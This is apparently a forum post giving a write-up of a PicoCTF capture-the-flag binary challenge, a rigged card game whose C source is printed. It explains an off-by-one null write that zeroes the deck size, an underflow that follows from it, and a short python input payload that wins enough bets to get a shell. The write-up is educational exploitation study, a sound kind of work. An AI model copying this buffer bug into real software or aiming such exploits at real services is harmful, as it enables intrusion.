PicoCTF Binary 125: Solution

Hello 0x00sec!

As some of you may have seen in IRC, I have promised to deliver an article. But I couldn’t unfortunately, because my work has been intense lately. Then I thought that I could translate a few of my blog posts which I’m writing on my website (http://www.robindimyanoglu.com) as a less time consuming solution :slight_smile:
Feel free to visit, but beware! Posts are in Turkish :smiley:

At this challenge we were asked to connect a service on “shell2017.picoctf.com:49182” and exploit it. When I connected, I have encountered with this;
resim

We were also provided with source code of the working service.

#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
 
#define NAMEBUFFLEN 32
#define BETBUFFLEN 8
 
typedef struct _card{
    char suit;
    char value;
} card;
 
typedef struct _deck{
    size_t deckSize;
    size_t top;
    card cards[52];
} deck;
 
typedef struct _player{
    int money;
    deck playerCards;
} player;
 
typedef struct _gameState{
  int playerMoney;
  player ctfer;
  char name[NAMEBUFFLEN];
  size_t deckSize;
  player opponent;
} gameState;
 
gameState gameData;
 
//Shuffles the deck
//Make sure to call srand() before!
void shuffle(deck * inputDeck){
    card temp;
    size_t indexA, indexB;
    size_t deckSize = inputDeck->deckSize;
    for(unsigned int i=0; i < 1000; i++){
        indexA = rand() % deckSize;
        indexB = rand() % deckSize;
        temp = inputDeck->cards[indexA];
        inputDeck->cards[indexA] = inputDeck->cards[indexB];
        inputDeck->cards[indexB] = temp;
    }
}
 
//Checks if a card is in invalid range
int checkInvalidCard(card * inputCard){
    if(inputCard->suit > 4 || inputCard->value > 14){
        return 1;
    }
    return 0;
}
 
//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
    size_t count = 0;
    char c;
    while((c = getchar()) != '\n' && c != EOF){
        if(count < (len-1)){
            buff[count] = c;
            count++;
        }
    }
    buff[count+1] = '\x00';
    return count;
}
 
//Builds the deck for each player.
//Good luck trying to win ;)
void buildDecks(player * ctfer, player * opponent){
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            ctfer->playerCards.cards[j*4 + i].suit = i;
            ctfer->playerCards.cards[j*4 + i].value = j+2;
        }
    }
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            opponent->playerCards.cards[j*4 + i].suit = i;
            opponent->playerCards.cards[j*4 + i].value = j+9;
        }
    }
    ctfer->playerCards.cards[24].suit = 0;
    ctfer->playerCards.cards[24].value = 8;
    ctfer->playerCards.cards[25].suit = 1;
    ctfer->playerCards.cards[25].value = 8;
    opponent->playerCards.cards[24].suit = 2;
    opponent->playerCards.cards[24].value = 8;
    opponent->playerCards.cards[25].suit = 3;
    opponent->playerCards.cards[25].value = 8;
 
    ctfer->playerCards.deckSize = 26;
    ctfer->playerCards.top = 0;
    opponent->playerCards.deckSize = 26;
    opponent->playerCards.top = 0;
}
 
int main(int argc, char**argv){
    char betStr[BETBUFFLEN];
    card * oppCard;
    card * playCard;
    memset(&gameData, 0, sizeof(gameData));
    gameData.playerMoney = 100;
    int bet;
 
    buildDecks(&gameData.ctfer, &gameData.opponent);
    srand(time(NULL));//Not intended to be cryptographically strong
 
    shuffle(&gameData.ctfer.playerCards);
    shuffle(&gameData.opponent.playerCards);
 
    setbuf(stdout, NULL);
 
    //Set to be the smaller of the two decks.
    gameData.deckSize = gameData.ctfer.playerCards.deckSize > gameData.opponent.playerCards.deckSize
   ? gameData.opponent.playerCards.deckSize : gameData.ctfer.playerCards.deckSize;
 
    printf("Welcome to the WAR card game simulator. Work in progress...\n");
    printf("Cards don't exchange hands after each round, but you should be able to win without that,right?\n");
    printf("Please enter your name: \n");
    memset(gameData.name,0,NAMEBUFFLEN);
    if(!readInput(gameData.name,NAMEBUFFLEN)){
        printf("Read error. Exiting.\n");
        exit(-1);
    }
    printf("Welcome %s\n", gameData.name);
    while(1){
        size_t playerIndex = gameData.ctfer.playerCards.top;
        size_t oppIndex = gameData.opponent.playerCards.top;
        oppCard = &gameData.opponent.playerCards.cards[oppIndex];
        playCard = &gameData.ctfer.playerCards.cards[playerIndex];
        printf("You have %d coins.\n", gameData.playerMoney);
        printf("How much would you like to bet?\n");
        memset(betStr,0,BETBUFFLEN);
        if(!readInput(betStr,BETBUFFLEN)){
            printf("Read error. Exiting.\n");
            exit(-1);
        };
        bet = atoi(betStr);
        printf("you bet %d.\n",bet);
        if(!bet){
            printf("Invalid bet\n");
            continue;
        }
        if(bet < 0){
            printf("No negative betting for you! What do you think this is, a ctf problem?\n");
           continue;
        }
        if(bet > gameData.playerMoney){
            printf("You don't have that much.\n");
            continue;
        }
        printf("The opponent has a %d of suit %d.\n", oppCard->value, oppCard->suit);
        printf("You have a %d of suit %d.\n", playCard->value, playCard->suit);
        if((playCard->value * 4 + playCard->suit) > (oppCard->value * 4 + playCard->suit)){
            printf("You won? Hmmm something must be wrong...\n");
            if(checkInvalidCard(playCard)){
                printf("Cheater. That's not actually a valid card.\n");
            }else{
                printf("You actually won! Nice job\n");           
                gameData.playerMoney += bet;
            }
        }else{
            printf("You lost! :(\n");
            gameData.playerMoney -= bet;
        }
        gameData.ctfer.playerCards.top++;
        gameData.opponent.playerCards.top++;
        if(gameData.playerMoney <= 0){
            printf("You are out of coins. Game over.\n");
            exit(0);
        }else if(gameData.playerMoney > 500){
            printf("You won the game! That's real impressive, seeing as the deck was rigged...\n");
         system("/bin/sh -i");
            exit(0);
        }
 
        //TODO: Implement card switching hands. Cheap hack here for playability
        gameData.deckSize--;
        if(gameData.deckSize == 0){
            printf("All card used. Card switching will be implemented in v1.0, someday.\n");
            exit(0);
        }
        printf("\n");
     fflush(stdout);
    };
 
    return 0;
}

The game is called WAR, it’s a card game where two players given a deck of 26 cards and 100 coins. Then players place bets and reveals the card on top of their deck. Player with bigger card gets the money. This game continues till either someone is out of his money or deck has no more cards to play with.

This game also has a special “reward”. If you happen to gather more then 500 coins, it gives you a shell. Huge reward, right? :slight_smile:

if(gameData.playerMoney <= 0){
    printf("You are out of coins. Game over.\n");
    exit(0);
}else if(gameData.playerMoney > 500){
    printf("You won the game! That's real impressive, seeing as the deck was rigged...\n");
 system("/bin/sh -i");
    exit(0);
}

But soon after we see that the decks are rigged and that $ is too good to be true I guess :smiley:

//Builds the deck for each player.
//Good luck trying to win ;)
void buildDecks(player * ctfer, player * opponent){
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            ctfer->playerCards.cards[j*4 + i].suit = i;
            ctfer->playerCards.cards[j*4 + i].value = j+2;
        }
    }
    for(size_t j = 0; j < 6; j++){
        for(size_t i = 0; i < 4; i++){
            opponent->playerCards.cards[j*4 + i].suit = i;
            opponent->playerCards.cards[j*4 + i].value = j+9;
        }
    }
    ctfer->playerCards.cards[24].suit = 0;
    ctfer->playerCards.cards[24].value = 8;
    ctfer->playerCards.cards[25].suit = 1;
    ctfer->playerCards.cards[25].value = 8;
    opponent->playerCards.cards[24].suit = 2;
    opponent->playerCards.cards[24].value = 8;
    opponent->playerCards.cards[25].suit = 3;
    opponent->playerCards.cards[25].value = 8;
 
    ctfer->playerCards.deckSize = 26;
    ctfer->playerCards.top = 0;
    opponent->playerCards.deckSize = 26;
    opponent->playerCards.top = 0;
}

Or is it?

Off-by-one bug

This vulnerability is caused when you write into n’th indice of an n sized array. A common occurence of this is when a developer miscalculates the bounds of an array and iterates it from 0 through n (remember, array indices start from zero so it should be n-1 and not n). The bug in this code is in readInput function.

//Reads input from user, and properly terminates the string
unsigned int readInput(char * buff, unsigned int len){
    size_t count = 0;
    char c;
    while((c = getchar()) != '\n' && c != EOF){
        if(count < (len-1)){
            buff[count] = c;
            count++;
        }
    }
    buff[count+1] = '\x00';
    return count;
}

Now lets see where that function is used:

printf("Please enter your name: \n");
memset(gameData.name,0,NAMEBUFFLEN);
if(!readInput(gameData.name,NAMEBUFFLEN)){
    printf("Read error. Exiting.\n");
    exit(-1);
}
printf("Welcome %s\n", gameData.name);

In this call we have two arguments; one is being element of a structure called gameData and another is a macro named NAMEBUFFLEN defining upper limit of the loop. Lets take a look at both.

#define NAMEBUFFLEN 32
...
typedef struct _gameState{
  int playerMoney;
  player ctfer;
  char name[NAMEBUFFLEN];
  size_t deckSize;
  player opponent;
} gameState;
 
gameState gameData;

So that upper limit seems to be 32, and allocated size of the gameData.name array is also 32 bytes.
When our “name” happens to be exactly 32 bytes long, readInput function will iterate all the array and overwrite gameData.name[32] with a nullbyte (zero). We see that variable deckSize comes right after name inside gameData structure. That means;

gameData.name[32] = 0;

is equal to

deckSize = 0;

Lets try it out by giving a 32 bytes long input.

resim

resim

What happens next?

We have set deck size to zero so now what?

gameData.deckSize--;
if(gameData.deckSize == 0){
    printf("All card used. Card switching will be implemented in v1.0, someday.\n");
    exit(0);
}

Another day, another bug :slight_smile: Deck size is first decremented and then checked its equality to zero. If we zero out the deck size value in the beginning of the game then it’ll right off decrement it to -1 so we’ll keep playing even after we’re out of cards, yay! :slight_smile:

resim

Below is the approximiate layout of variables in the process memory.
resim

After decks are finished, it continues to iterate through what’s next in the memory, which is some zeroes and then gameData.name for us (which is under our control) and all zeroes for the opponent :slight_smile: For the last we have a small condition to pass through.

//Checks if a card is in invalid range
int checkInvalidCard(card * inputCard){
    if(inputCard->suit > 4 || inputCard->value > 14){
        return 1;
    }
    return 0;
}

resim

We pass this one by giving 32 \x01’s as our “name” input. Now it’s time to place the right bets :slight_smile:

Our input should consist of:

  1. “\x01”*32 + “\n” (value we should enter in “name” input)
  2. “1\n”*52 (we’ll lose first 52 bets, remaining money is 48 coins)
  3. “48\n”*10 (we’ll win these bets)

Here’s a little python code that does this:
python2 -c ‘print chr(1)*32 + “\n” + “1\n”*52 + “48\n”*10’

Now lets connect to the server and send our input.
resim

We won yay! :smiley:

I hope you liked this article. See you in the next one :slight_smile:

9 Likes

Good work nice and clear article

3 Likes

This topic was automatically closed after 30 days. New replies are no longer allowed.